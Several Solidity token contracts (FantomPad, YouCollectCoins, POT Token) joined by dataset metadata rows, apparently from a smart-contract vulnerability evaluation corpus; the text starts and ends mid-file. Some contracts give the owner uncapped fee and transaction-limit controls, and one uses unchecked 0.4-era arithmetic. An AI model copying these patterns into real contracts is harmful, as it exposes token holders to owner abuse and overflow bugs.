// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FantomPad is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'FantomPad';
string private constant _symbol = 'FTMPAD';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x41aC52952bc06951216B0896aA153e4d366e8EF2, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 320,327 | 11,353 |
4773d1a9941c3789ccbaed6303939768464ab209a6fb7d000e7c24bef9789c29
| 13,079 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0xd5670cdb0d6e6d9eedfdbaceb97d5774466f0b23.sol
| 3,220 | 12,656 |
pragma solidity ^0.4.18;
contract InterfaceContentCreatorUniverse {
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function priceOf(uint256 _tokenId) public view returns (uint256 price);
function getNextPrice(uint price, uint _tokenId) public pure returns (uint);
function lastSubTokenBuyerOf(uint tokenId) public view returns(address);
function lastSubTokenCreatorOf(uint tokenId) public view returns(address);
//
function createCollectible(uint256 tokenId, uint256 _price, address creator, address owner) external ;
}
contract InterfaceYCC {
function payForUpgrade(address user, uint price) external returns (bool success);
function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external returns (bool success);
function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external;
function payoutForMining(address user, uint amount) external;
uint256 public totalSupply;
}
contract InterfaceMining {
function createMineForToken(uint tokenId, uint level, uint xp, uint nextLevelBreak, uint blocknumber) external;
function payoutMining(uint tokenId, address owner, address newOwner) external;
function levelUpMining(uint tokenId) external;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cooAddress;
address private newCeoAddress;
address private newCooAddress;
function Owned() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
/// Access modifier for contract owner only functionality
modifier onlyCLevel() {
require(msg.sender == ceoAddress ||
msg.sender == cooAddress);
_;
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
newCeoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current COO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
newCooAddress = _newCOO;
}
function acceptCeoOwnership() public {
require(msg.sender == newCeoAddress);
require(address(0) != newCeoAddress);
ceoAddress = newCeoAddress;
newCeoAddress = address(0);
}
function acceptCooOwnership() public {
require(msg.sender == newCooAddress);
require(address(0) != newCooAddress);
cooAddress = newCooAddress;
newCooAddress = address(0);
}
mapping (address => bool) public youCollectContracts;
function addYouCollectContract(address contractAddress, bool active) public onlyCOO {
youCollectContracts[contractAddress] = active;
}
modifier onlyYCC() {
require(youCollectContracts[msg.sender]);
_;
}
InterfaceYCC ycc;
InterfaceContentCreatorUniverse yct;
InterfaceMining ycm;
function setMainYouCollectContractAddresses(address yccContract, address yctContract, address ycmContract, address[] otherContracts) public onlyCOO {
ycc = InterfaceYCC(yccContract);
yct = InterfaceContentCreatorUniverse(yctContract);
ycm = InterfaceMining(ycmContract);
youCollectContracts[yccContract] = true;
youCollectContracts[yctContract] = true;
youCollectContracts[ycmContract] = true;
for (uint16 index = 0; index < otherContracts.length; index++) {
youCollectContracts[otherContracts[index]] = true;
}
}
function setYccContractAddress(address yccContract) public onlyCOO {
ycc = InterfaceYCC(yccContract);
youCollectContracts[yccContract] = true;
}
function setYctContractAddress(address yctContract) public onlyCOO {
yct = InterfaceContentCreatorUniverse(yctContract);
youCollectContracts[yctContract] = true;
}
function setYcmContractAddress(address ycmContract) public onlyCOO {
ycm = InterfaceMining(ycmContract);
youCollectContracts[ycmContract] = true;
}
}
contract TransferInterfaceERC721YC {
function transferToken(address to, uint256 tokenId) public returns (bool success);
}
contract TransferInterfaceERC20 {
function transfer(address to, uint tokens) public returns (bool success);
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ConsenSys/Tokens/blob/master/contracts/eip20/EIP20.sol
// ----------------------------------------------------------------------------
contract YouCollectBase is Owned {
using SafeMath for uint256;
event RedButton(uint value, uint totalSupply);
// Payout
function payout(address _to) public onlyCLevel {
_payout(_to, this.balance);
}
function payout(address _to, uint amount) public onlyCLevel {
if (amount>this.balance)
amount = this.balance;
_payout(_to, amount);
}
function _payout(address _to, uint amount) private {
if (_to == address(0)) {
ceoAddress.transfer(amount);
} else {
_to.transfer(amount);
}
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyCEO returns (bool success) {
return TransferInterfaceERC20(tokenAddress).transfer(ceoAddress, tokens);
}
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract YouCollectCoins is YouCollectBase {
//
// ERC20
//
string public constant NAME = "YouCollectCoin";
string public constant SYMBOL = "YCC";
uint8 public constant DECIMALS = 18;
uint256 public totalSupply;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
bool allowTransfer;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function YouCollectCoins() {
addYouCollectContract(msg.sender, true);
}
/// @dev Required for ERC-20 compliance.
function name() public pure returns (string) {
return NAME;
}
/// @dev Required for ERC-20 compliance.
function symbol() public pure returns (string) {
return SYMBOL;
}
/// @dev Required for ERC-20 compliance.
function decimals() public pure returns (uint8) {
return DECIMALS;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(allowTransfer);
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(allowTransfer);
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require(allowTransfer);
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
require(allowTransfer);
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
//
//
//
// Coin sale controlled by external smart contract
//
bool public coinSaleStarted;
address public mintableAddress;
uint public totalTokenSellAmount;
function mintCoins(address to, uint256 amount) external returns (bool success) {
require(coinSaleStarted);
require(msg.sender == mintableAddress);
require(balances[this] >= amount);
balances[this] -= amount;
balances[to] += amount;
uint bonus = amount.div(100);
address universeOwner = yct.ownerOf(0);
balances[universeOwner] += bonus;
totalSupply += bonus;
Transfer(this, to, amount);
Transfer(address(0), universeOwner, bonus);
return true;
}
function startCoinSale(uint totalTokens, address sellingContractAddress) public onlyCEO {
require(!coinSaleStarted);
totalTokenSellAmount = totalTokens;
mintableAddress = sellingContractAddress;
}
function acceptCoinSale() public onlyCEO {
coinSaleStarted = true;
balances[this] = totalTokenSellAmount;
totalSupply += totalTokenSellAmount;
}
function changeTransfer(bool allowTransfers) external {
require(msg.sender == mintableAddress);
allowTransfer = allowTransfers;
}
//
//
function mintCoinsForOldCollectibles(address to, uint256 amount, address universeOwner) external onlyYCC returns (bool success) {
balances[to] += amount;
uint bonus = amount.div(100);
balances[universeOwner] += bonus;
totalSupply += amount + bonus;
Transfer(address(0), to, amount);
Transfer(address(0), universeOwner, amount);
return true;
}
function payForUpgrade(address user, uint price) external onlyYCC returns (bool success) {
require(balances[user] >= price);
balances[user] -= price;
totalSupply -= price;
Transfer(user, address(0), price);
return true;
}
function payoutForMining(address user, uint amount) external onlyYCC {
balances[user] += amount;
totalSupply += amount;
Transfer(address(0), user, amount);
}
function tradePreToken(uint price, address buyer, address seller, uint burnPercent, address universeOwner) external onlyYCC {
require(balances[buyer] >= price);
balances[buyer] -= price;
if (seller != address(0)) {
uint256 onePercent = price.div(100);
uint256 payment = price.sub(onePercent.mul(burnPercent+1));
// Payment for old owner
balances[seller] += payment;
totalSupply -= onePercent.mul(burnPercent);
balances[universeOwner] += onePercent;
Transfer(buyer, seller, payment);
Transfer(buyer, universeOwner, onePercent);
}else {
totalSupply -= price;
}
}
}
| 222,137 | 11,354 |
78981dce6a0a6144e9843cf86e2355b5e9f4a121ee399959adbb5c377cbbc2db
| 23,223 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/b1/b1Cb9A2aFe08E0ae49A4b3f9da1D15ADE9bc82cf_POT_Token.sol
| 3,655 | 13,231 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;
library Math {
function log10(uint256 value) internal pure returns (uint256) {
uint256 result = 0;
unchecked {
if (value >= 10 ** 64) {
value /= 10 ** 64;
result += 64;
}
if (value >= 10 ** 32) {
value /= 10 ** 32;
result += 32;
}
if (value >= 10 ** 16) {
value /= 10 ** 16;
result += 16;
}
if (value >= 10 ** 8) {
value /= 10 ** 8;
result += 8;
}
if (value >= 10 ** 4) {
value /= 10 ** 4;
result += 4;
}
if (value >= 10 ** 2) {
value /= 10 ** 2;
result += 2;
}
if (value >= 10 ** 1) {
result += 1;
}
}
return result;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () { }
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contractsStrings.sol
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function indexOf(string memory _base, string memory _value)
internal
pure
returns (int) {
return _indexOf(_base, _value, 0);
}
function _indexOf(string memory _base, string memory _value, uint _offset)
internal
pure
returns (int) {
bytes memory _baseBytes = bytes(_base);
bytes memory _valueBytes = bytes(_value);
assert(_valueBytes.length == 1);
for (uint i = _offset; i < _baseBytes.length; i++) {
if (_baseBytes[i] == _valueBytes[0]) {
return int(i);
}
}
return -1;
}
}
contract POT_Token is Context, IBEP20, Ownable {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping(string => bool) public SwapKey;
mapping(address => uint) public AmountToMint;
uint256 private _totalSupply;
uint8 public _decimals;
string public _symbol;
string public _name;
bool public pause = false;
address private signerAddress = 0x960A4406d23Cb0cced0584B769bde13de60F27c5;
event MintCompleted(address indexed to, uint256 value, string _data);
constructor() {
_name = "POT Token";
_symbol = "POT";
_decimals = 18;
_totalSupply = 0;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()] - (amount));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + (addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - (subtractedValue));
return true;
}
function mint(string calldata _rawdata,bytes calldata _sig, uint256 amount) public returns (bool) {
require(pause == false, "Contract is paused");
string memory data = Strings.strConcat(_rawdata, _uint2str(amount));
require(SwapKey[data] == false, "Key Already Claimed");
require(isValidData(data, _sig), "Invalid Signature");
require(amount > 0, "Invalid fund");
SwapKey[data] = true;
_mint(_msgSender(), amount);
emit MintCompleted(_msgSender(), amount, data);
return true;
}
function ownerMint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function burn(uint256 amount) public returns (bool) {
_burn(_msgSender(), amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender] - (amount);
_balances[recipient] = _balances[recipient] + (amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply + (amount);
_balances[account] = _balances[account] + (amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account] - (amount);
_totalSupply = _totalSupply - (amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()] - (amount));
}
function toBytes(address a) public pure returns (bytes memory b){
assembly {
let m := mload(0x40)
a := and(a, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
mstore(add(m, 20), xor(0x140000000000000000000000000000000000000000, a))
mstore(0x40, add(m, 52))
b := m
}
}
function char(bytes1 b) internal pure returns (bytes1 c) {
if (uint8(b) < 10) return bytes1(uint8(b) + 0x30);
else return bytes1(uint8(b) + 0x57);
}
function bytes32ToString(bytes32 _bytes32) public pure returns (string memory) {
uint8 i = 0;
bytes memory bytesArray = new bytes(64);
for (i = 0; i < bytesArray.length; i++) {
uint8 _f = uint8(_bytes32[i/2] & 0x0f);
uint8 _l = uint8(_bytes32[i/2] >> 4);
bytesArray[i] = toByte(_f);
i = i + 1;
bytesArray[i] = toByte(_l);
}
return string(bytesArray);
}
function stringToBytes32(string memory source) public pure returns (bytes32 result) {
